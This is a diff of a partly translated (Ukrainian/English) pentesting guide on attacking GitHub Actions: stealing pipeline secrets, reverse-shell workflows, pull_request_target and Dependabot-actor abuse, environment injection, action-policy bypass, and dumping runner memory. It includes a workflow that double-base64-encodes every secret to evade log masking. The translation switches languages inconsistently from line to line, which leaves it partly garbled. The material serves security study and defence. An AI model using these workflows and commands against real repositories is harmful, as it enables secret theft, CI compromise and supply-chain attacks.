Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -16,25 +16,25 @@ The following tools are useful to find Github Action workflows and even find vul
 
 На цій сторінці ви знайдете:
 
-- Короткий огляд усіх наслідків, якщо зловмисник отримає доступ до Github Action
+- **Огляд усіх наслідків** у разі, якщо нападник отримає доступ до Github Action
 - Різні способи **отримати доступ до action**:
-- Наявність **permissions** для створення action
+- Маючи **permissions** для створення action
 - Зловживання тригерами, пов'язаними з **pull request**
-- Зловживання іншими зовнішніми методами доступу
-- **Pivoting** з уже скомпрометованого repo
-- Нарешті, розділ про **post-exploitation techniques** для зловживання action зсередини (що викликають зазначені наслідки)
+- Зловживання **іншими техніками зовнішнього доступу**
+- **Pivoting** з уже скомпрометованого репо
+- Нарешті, розділ про **post-exploitation techniques to abuse an action from inside** (щоб спричинити згадані наслідки)
 
-## Резюме наслідків
+## Підсумок впливів
 
 For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Якщо ви можете **execute arbitrary code in GitHub Actions** в межах **repository**, ви зможете:
+Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви зможете:
 
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
-- Якщо pipeline deploys або stores assets, ви можете змінити кінцевий продукт, що дає змогу виконати supply chain attack.
-- **Execute code in custom workers** для зловживання обчислювальною потужністю та pivot до інших систем.
-- **Overwrite repository code**, в залежності від permissions, пов'язаних з `GITHUB_TOKEN`.
+- **Вкрасти secrets**, змонтовані в pipeline, і **зловживати привілеями pipeline** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS і GCP.
+- **Компрометувати deployments** та інші **artifacts**.
+- Якщо pipeline розгортає або зберігає assets, ви можете змінити кінцевий продукт, що дозволяє провести supply chain attack.
+- **Виконувати код у custom workers** для зловживання обчислювальними ресурсами та pivot до інших систем.
+- **Перезаписати код репозиторію**, залежно від permissions, пов'язаних із `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
@@ -45,7 +45,7 @@ This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.tok
 This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github має випустити a [**flow**](https://github.com/github/roadmap/issues/74) який **дозволяє доступ між репозиторіями** within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
 You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Зверніть увагу, що в кількох випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам додаткові привілеї у repository та organization.
+> Зверніть увагу, що у деяких випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
 
 <details>
 
-<summary>Перелік secrets у виводі Github Action</summary>
+<summary>List secrets in Github Action output</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Отримати reverse shell з secrets</summary>
+<summary>Отримати reverse shell за допомогою secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **checking the logs** of the actions:
+Можна перевірити права, надані Github Token у репозиторіях інших користувачів, **переглянувши логи** Github Actions:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Allowed Execution
+## Дозволене виконання
 
 > [!NOTE]
-> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що ви маєте доступ до **create a new repo in the organization**, або маєте **write privileges over a repository**.
+> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що у вас є доступ до **створення нового репозиторію в організації**, або є **права запису в репозиторій**.
 >
-> Якщо ви в цій ситуації, ви можете просто переглянути [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
+> Якщо ви в такій ситуації, ви можете просто переглянути [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Execution from Repo Creation
+### Виконання через створення репозиторію
 
-У випадку, якщо учасники organization можуть **create new repos** і ви можете виконувати github actions, ви можете **create a new repo and steal the secrets set at organization level**.
+Якщо учасники організації можуть **створювати нові репозиторії** і ви можете запускати Github Actions, ви можете **створити новий репозиторій і викрасти секрети, встановлені на рівні організації**.
 
-### Execution from a New Branch
+### Виконання з нової гілки
 
-Якщо ви можете **create a new branch in a repository that already contains a Github Action** configured, ви можете **modify** його, **upload** контент, а потім **execute that action from the new branch**. Таким чином ви можете **exfiltrate repository and organization level secrets** (але вам потрібно знати, як вони називаються).
+Якщо ви можете **створити нову гілку в репозиторії, який вже містить налаштований Github Action**, ви можете **змінити** його, **завантажити** вміст, а потім **запустити той action із нової гілки**. Таким чином ви можете **витягти секрети на рівні репозиторію та організації** (але вам потрібно знати їхні імена).
 
 > [!WARNING]
-> Будь-яке обмеження, реалізоване лише всередині workflow YAML (наприклад, `on: push: branches: [main]`, job conditionals, або ручні валіди), може бути відредаговане співавторами. Без зовнішнього примусового застосування (branch protections, protected environments, and protected tags), учасник може перенаправити workflow на свій branch і зловживати змонтованими secrets/permissions.
+> Будь-яке обмеження, реалізоване лише всередині workflow YAML (наприклад, `on: push: branches: [main]`, умовні вирази job або ручні підтвердження) може бути відредаговане співавторами. Без зовнішнього контролю (branch protections, protected environments, and protected tags) контриб'ютор може перенаправити workflow на виконання у своїй гілці та зловживати змонтованими секретами/дозволами.
 
-Ви можете зробити змінений action виконуваним **вручну,** коли створено **PR** або коли **якийсь код запушено** (в залежності від того, наскільки багато шуму ви хочете зробити):
+Ви можете зробити змінений action виконуваним **вручну,** коли **створюється PR** або коли **певний код пушиться** (залежно від того, наскільки помітними ви хочете бути):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
 ```
 ---
 
-## Виконання з форку
+## Forked Execution
 
 > [!NOTE]
-> Існують різні тригери, які можуть дозволити атакуючому **виконати Github Action з іншого репозиторію**. Якщо такі тригерувані дії налаштовані неналежним чином, атакуючий може їх скомпрометувати.
+> Існують різні тригери, які можуть дозволити атакуючому **виконати Github Action з іншого репозиторію**. Якщо ці тригерні дії погано налаштовані, атакуючий може їх скомпрометувати.
 
 ### `pull_request`
 
-Тригер workflow **`pull_request`** виконуватиме workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це **вперше**, коли ви **співпрацюєте**, якийсь **maintainer** повинен **підтвердити** **запуск** workflow:
+Тригер workflow **`pull_request`** виконуватиме workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це **вперше**, коли ви **співпрацюєте**, якийсь **maintainer** має **підтвердити** **запуск** workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Оскільки **обмеження за замовчуванням** стосуються **перших** контрибуторів, ви можете зробити внесок, **виправивши дійсну помилку/описку**, а потім надіслати **інші PR, щоб зловживати новими привілеями `pull_request`**.
+> Оскільки **обмеження за замовчуванням** застосовується до **нових** контрибуторів, ви можете внести PR, виправивши **дійсну помилку/опечатку**, а потім надсилати **інші PRs, щоб зловживати вашими новими `pull_request` привілеями**.
 >
-> **Я це протестував і це не працює**: ~~Іншим варіантом було б створити акаунт з ім'ям когось, хто робив внесок у проєкт, а потім видалив його акаунт.~~
+> **Я це тестував і це не працює**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
 
-Крім того, за замовчуванням **запобігає наданню прав на запис** та **доступу до secrets** у цільовому репозиторії, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Крім того, за замовчуванням **перешкоджається надання прав запису** та **доступ до secrets** у цільовому репозиторії, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
 > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
 
-Атакуючий може змінити визначення Github Action, щоб виконати довільні дії та додати довільні steps. Проте він не зможе вкрасти secrets або перезаписати репо через згадані обмеження.
+Атакуючий може змінити визначення Github Action, щоб виконати довільні дії та додати довільні кроки. Однак через згадані обмеження він не зможе вкрасти секрети або перезаписати репо.
 
 > [!CAUTION]
 > **Так, якщо атакуючий змінить у PR github action, який буде тригеритись, його Github Action буде використано, а не той, що з origin repo!**
 
-Оскільки атакуючий також контролює код, що виконується, навіть якщо немає доступу до secrets або прав запису через `GITHUB_TOKEN`, атакуючий, наприклад, може **завантажити шкідливі артефакти**.
+Оскільки атакуючий також контролює код, що виконується, навіть якщо немає доступу до секретів або прав запису в `GITHUB_TOKEN`, атакуючий, наприклад, може **завантажувати шкідливі артефакти**.
 
 ### **`pull_request_target`**
 
-Тригер workflow **`pull_request_target`** має **права на запис** у цільовому репозиторії та **доступ до secrets** (і не запитує дозволу).
+Тригер workflow **`pull_request_target`** має **права запису** до цільового репозиторію та **доступ до секретів** (і не запитує підтвердження).
 
-Зауважте, що тригер workflow **`pull_request_target`** **запускається в базовому контексті** і не в тому, що надається PR (щоб **не виконувати недовірений код**). Для отримання додаткової інформації про `pull_request_target` [**перегляньте docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Крім того, для додаткової інформації про цей конкретно небезпечний випадок перегляньте цей [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Зверніть увагу, що тригер workflow **`pull_request_target`** **виконується в контексті base** і не в тому, який надає PR (щоб **не виконувати недовірений код**). Для додаткової інформації про `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Крім того, для детальнішого розгляду цього конкретно небезпечного використання перегляньте цей [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Може здатись, що оскільки **виконуваний workflow** — це той, що визначений у **base**, а **не в PR**, то використання **`pull_request_target`** є **безпечним**, але існує **декілька випадків, коли це не так**.
+Може здатися, що оскільки **виконуваний workflow** — це той, що визначений у **base**, а не в PR, то використовувати **`pull_request_target`** **безпечніше**, але є **кілька випадків, коли це неправда**.
 
-І цей тригер матиме **доступ до secrets**.
+І цей тригер матиме **доступ до секретів**.
 
 ### `workflow_run`
 
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
+Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запускати workflow після завершення іншого workflow, коли він `completed`, `requested` або `in_progress`.
 
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+У цьому прикладі workflow налаштований на запуск після завершення окремого workflow "Run Tests":
 ```yaml
 on:
 workflow_run:
@@ -230,29 +230,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Крім того, згідно з документацією: workflow, запущений подією `workflow_run`, може **access secrets and write tokens, even if the previous workflow was not**.
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-Такий workflow можна атакувати, якщо він **залежить** від іншого **workflow**, який може бути **triggered** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Декілька вразливих прикладів можна [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший полягає в тому, що workflow, який тригериться через **`workflow_run`**, завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\
-Другий полягає в **передачі** **artifact** з **untrusted** коду до workflow **`workflow_run`** і використанні вмісту цього artifact таким чином, що це робить його **vulnerable to RCE**.
+Такий workflow може бути атакований, якщо він **depends** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
+The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Перевірити, чи коли виконується з `pull_request` використовуваний/завантажений код — з origin чи з forked PR
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
 
-## Зловживання виконанням fork'ів
+## Зловживання виконанням з форка
 
-Ми перелічили всі способи, якими зовнішній атакуючий може змусити виконатися github workflow; тепер подивімося, як ці виконання, якщо вони неправильно налаштовані, можуть бути зловживані:
+Ми вже перелічили всі способи, якими зовнішній атакуючий може змусити github workflow виконатися, тепер подивімося, як такі виконання, якщо вони неправильно налаштовані, можуть бути використані зловмисником:
 
-### Виконання untrusted checkout
+### Untrusted checkout execution
 
-У випадку **`pull_request`**, workflow виконуватиметься в **контексті PR** (тому він виконає **malicious PRs code**), але хтось повинен **authorize it first** і воно виконуватиметься з певними [limitations](#pull_request).
+У випадку з **`pull_request`** workflow буде виконуватися в **контексті PR** (тобто виконуватиметься **шкідливий код PR**), але хтось повинен його **авторизувати спочатку**, і воно виконуватиметься з певними [обмеженнями](#pull_request).
 
-У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, який може бути triggered з **`pull_request_target` or `pull_request`**, виконуватиметься код з оригінального repo, тож **attacker cannot control the executed code**.
+У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, що може бути triggered from **`pull_request_target` or `pull_request`**, код з оригінального репозиторію буде виконаний, тож **атакуючий не зможе контролювати виконуваний код**.
 
 > [!CAUTION]
-> Однак, якщо **action** має **explicit PR checkou**t, який **get the code from the PR** (а не з base), буде використано код, контрольований атакуючим. Наприклад (див. line 12, де завантажується код PR):
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
 </code></pre>
 
-Потенційно **untrusted code is being run during `npm install` or `npm build`**, оскільки build scripts та згадані **packages are controlled by the author of the PR**.
+Потенційно **небезпечний код виконується під час `npm install` або `npm build`**, оскільки build-скрипти та залежні пакети контролюються автором PR.
 
 > [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` проте існують різні способи налаштувати jobs для безпечного виконання навіть якщо action налаштований небезпечно (наприклад використовуючи conditionals про те, хто є actor, що створює PR).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
 
 ### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Зауважте, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) значення яких **контролюються** користувачем, який створює PR. Якщо github action використовує ці **data to execute anything**, це може призвести до **arbitrary code execution:**
+Зверніть увагу, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** користувачем, що створює PR. Якщо github action використовує ці **дані для виконання чого-небудь**, це може призвести до **виконання довільного коду:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -297,17 +297,17 @@ gh-actions-context-script-injections.md
 
 ### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Згідно з документацією: Ви можете зробити **environment variable available to any subsequent steps** в job'і workflow, визначивши або оновивши змінну оточення та записавши це у файл середовища **`GITHUB_ENV`**.
+Згідно з документацією: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-Якщо атакуючий може **inject any value** в цю **env** змінну, він може ввести змінні оточення, які можуть виконувати код у наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**.
+Якщо атакуючий може **інжектувати будь-яке значення** у цю змінну середовища, він може додати змінні середовища, які спричинять виконання коду в наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**.
 
-Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, який довіряє завантаженому artifact і зберігає його вміст у змінній оточення **`GITHUB_ENV`**. Атакуючий може завантажити щось подібне, щоб скомпрометувати його:
+Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, який довіряє завантаженому artifact і зберігає його вміст у **`GITHUB_ENV`** env variable. Атакуючий міг би завантажити щось на кшталт цього, щоб скомпрометувати його:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabot та інші довірені боти
+### Dependabot and other trusted bots
 
-Як вказано в [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), кілька організацій мають Github Action, який merges any PRR від `dependabot[bot]`, наприклад:
+As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Це проблема, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. Існує кілька способів змусити користувача `dependabot[bot]` змінити PR. Наприклад:
+Що є проблемою, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. І існує кілька способів змусити користувача `dependabot[bot]` модифікувати PR. Наприклад:
 
-- Fork the victim repository
-- Add the malicious payload to your copy
-- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
-- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
-- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
-- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
+- Форкніть репозиторій жертви
+- Додайте шкідливий payload до вашої копії
+- Увімкніть Dependabot у вашому форку, додавши застарілу залежність. Dependabot створить гілку, яка виправляє залежність і містить шкідливий код.
+- Відкрийте Pull Request до репозиторію жертви з тієї гілки (PR буде створено користувачем, тож поки нічого не станеться)
+- Потім атакуючий повертається до початкового PR, який Dependabot відкрив у його форку, і виконує `@dependabot recreate`
+- Потім Dependabot виконує деякі дії в тій гілці, які модифікують PR у репозиторії жертви, що робить `dependabot[bot]` актором останньої події, яка запустила workflow (і отже, workflow виконується).
 
-Далі: що якби замість злиття Github Action мав command injection, як у:
+Далі, що якби замість злиття Github Action мав command injection, як у:
 ```yaml
 on: pull_request_target
 jobs:
@@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Отже, оригінальний допис у блозі пропонує два варіанти зловживання цією поведінкою, другим з яких є:
+Отже, оригінальний блогпост пропонує два варіанти зловживання цією поведінкою, де другим є:
 
-- Форкнути репозиторій жертви та увімкнути Dependabot з якоюсь застарілою залежністю.
-- Створити нову гілку з шкідливим shell injection кодом.
-- Змінити default branch репо на ту гілку.
-- Створити PR з цієї гілки до репозиторію жертви.
-- Запустити `@dependabot merge` у PR, який Dependabot відкрив у своєму форку.
-- Dependabot змерджить свої зміни в default branch вашого форку, оновивши PR у репозиторії жертви, зробивши тепер `dependabot[bot]` актором останньої події, яка викликала workflow, та використовуючи шкідливу назву гілки.
+- Форкніть репозиторій жертви та увімкніть Dependabot з якоюсь застарілою залежністю.
+- Створіть нову гілку зі шкідливим shell injeciton кодом.
+- Змініть гілку за замовчуванням репо на ту гілку.
+- Створіть PR з цієї гілки до репозиторію жертви.
+- Запустіть `@dependabot merge` в PR, який Dependabot відкрив у його форку.
+- Dependabot зіллє його зміни в гілку за замовчуванням вашого форкнутого репозиторію, оновивши PR в репозиторії жертви, зробивши тепер `dependabot[bot]` актором останньої події, що запустила workflow, і використовуючи шкідливу назву гілки.
 
-### Vulnerable Third Party Github Actions
+### Уразливі сторонні Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Як зазначено в [**цьому дописі**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати доступ до artifacts з різних workflow і навіть з інших репозиторіїв.
+Як зазначено в [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати доступ до artifacts з різних workflows і навіть repositories.
 
-Проблема в тому, що якщо параметр **`path`** не заданий, артефакт розпаковується в поточну директорію і може перезаписати файли, які пізніше можуть бути використані або навіть виконані у workflow. Тому, якщо Artifact вразливий, нападник може зловживати цим, щоб скомпрометувати інші workflow, які довіряються цьому Artifact.
+Проблема в тому, що якщо параметр **`path`** не задано, артефакт розпаковується в поточний каталог і може перезаписати файли, які потім можуть бути використані або навіть виконані у workflow. Тому, якщо Artifact уразливий, атакуючий може зловживати цим, щоб скомпрометувати інші workflows, що довіряють цьому Artifact.
 
 Example of vulnerable workflow:
 ```yaml
@@ -397,23 +397,23 @@ path: ./script.py
 
 ### Deleted Namespace Repo Hijacking
 
-If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
+Якщо account змінює своє ім'я, інший користувач може зареєструвати account з цим іменем згодом. Якщо repository мав **less than 100 stars previously to the change of name**, Github дозволить новому зареєстрованому користувачу з тим самим ім'ям створити **repository with the same name** як той, що був видалений.
 
 > [!CAUTION]
-> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
+> Тому, якщо action використовує repo з неіснуючого account, все ще можливо, що зловмисник зможе створити цей account і compromise action.
 
-If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Якщо інші repositories використовували **dependencies from this user repos**, зловмисник зможе hijack їх. Детальніше: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
+> У цьому розділі ми поговоримо про техніки, які дозволяють **pivot from one repo to another**, припускаючи, що ми маємо певний доступ до першого (див. попередній розділ).
 
 ### Cache Poisoning
 
-A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
+Між workflow runs в тій самій branch підтримується cache. Це означає, що якщо зловмисник compromise package, який потім зберігається в cache і потім downloaded та виконується більш привілейованим workflow, він також зможе compromise і цей workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
+Workflows можуть використовувати **artifacts from other workflows and even repos** — якщо зловмиснику вдасться compromise Github Action, яка **uploads an artifact**, який пізніше використовується іншим workflow, він зможе compromise й інші workflows:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **action буде виконано без жодних обмежень.**
+Як зазначено в [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), навіть якщо repository або organization має політику, що обмежує використання певних actions, зловмисник може просто download (`git clone`) action всередині workflow і потім посилатися на нього як на local action. Оскільки політики не впливають на local paths, **the action will be executed without any restriction.**
 
-Приклад:
+Example:
 ```yaml
 on: [push, pull_request]
 
@@ -468,15 +468,15 @@ path: gha-hazmat
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Доступ до секретів <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Доступ до secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Якщо ви вставляєте вміст у скрипт, корисно знати, як отримати доступ до секретів:
+Якщо ви вставляєте вміст у скрипт, корисно знати, як можна отримати доступ до secrets:
 
-- Якщо секрет або токен задані як **змінна середовища**, їх можна напряму отримати, використовуючи **`printenv`**.
+- Якщо secret або token встановлено як **environment variable**, їх можна безпосередньо отримати через середовище за допомогою **`printenv`**.
 
 <details>
 
-<summary>Перелічити секрети у виводі Github Action</summary>
+<summary>Перелічити secrets у виводі Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Отримати reverse shell за допомогою secrets</summary>
+<summary>Отримати reverse shell за допомогою секретів</summary>
 ```yaml
 name: revshell
 on:
@@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Якщо secret використовується **безпосередньо в виразі**, згенерований shell script зберігається **на диску** і доступний.
+- Якщо секрет використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і доступний.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- Для JavaScript actions secrets передаються через змінні середовища
+- Для JavaScript actions секрети передаються через environment variables
 - ```bash
 ps axe | grep node
 ```
-- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, який вона отримала з **argument**:
+- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, отриманий з **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Перелічіть всі secrets через secrets context (collaborator level). Контриб'ютор з правами write може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти GitHub’s log masking, і декодуйте локально:
+- Перелічіть всі secrets через secrets context (рівень collaborator). Контриб'ютор з правами запису може змінити workflow у будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти маскування логів GitHub та декодувати локально:
 
 ```yaml
 name: Steal secrets
@@ -558,7 +558,7 @@ run: |
 echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
 ```
 
-Декодуйте локально:
+Розкодувати локально:
 
 ```bash
 echo "ZXdv...Zz09" | base64 -d | base64 -d
@@ -568,20 +568,20 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d
 
 ### Зловживання Self-hosted runners
 
-Щоб знайти, які **GitHub Actions виконуються поза інфраструктурою GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml для Github Action.
+Щоб знайти, які **Github Actions виконуються в інфраструктурі поза GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml Github Action.
 
-**Self-hosted** runners можуть мати доступ до **додаткової конфіденційної інформації**, до інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо він ізольований і буде знищений, **можуть виконуватись більше ніж одна action одночасно**, і зловмисна дія може **вкрасти secrets** іншої.
+**Self-hosted** ранери можуть мати доступ до **додаткової чутливої інформації**, інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо вони ізольовані і видалені, **декілька action-ів можуть виконуватися одночасно**, і зловмисний може **вкрасти secrets** іншого.
 
-На self-hosted runners також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow на будь-якому кроці, шляхом дампу його пам'яті:
+У self-hosted ранерах також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow-ів на будь-якому кроці шляхом дампу його пам'яті:
 ```bash
 sudo apt-get install -y gdb
